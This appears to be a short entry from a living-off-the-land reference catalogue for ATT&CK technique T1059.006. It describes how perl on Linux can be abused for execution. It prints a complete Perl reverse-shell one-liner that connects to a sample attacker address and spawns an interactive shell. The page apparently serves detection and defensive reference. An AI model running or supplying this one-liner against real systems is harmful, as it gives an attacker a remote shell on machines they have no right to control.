T1059.006: Technique T1059.006
Adversaries may leverage living-off-the-land techniques (T1059.006) to achieve execution, evade defenses, or transfer tools.
Total Capable Binaries: 1
•
Windows: 0
•
Linux: 1
•
macOS: 0
Living-off-the-Land Matrix for T1059.006
Across 1 verified binariesLinux1 payloads
perl
Perl is a general-purpose programming language widely installed on Linux servers. Attackers execute socket-creation one-liners to spawn interactive reverse shells directly in memory.
Sample Attack Vector:
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection Engineer • Check Point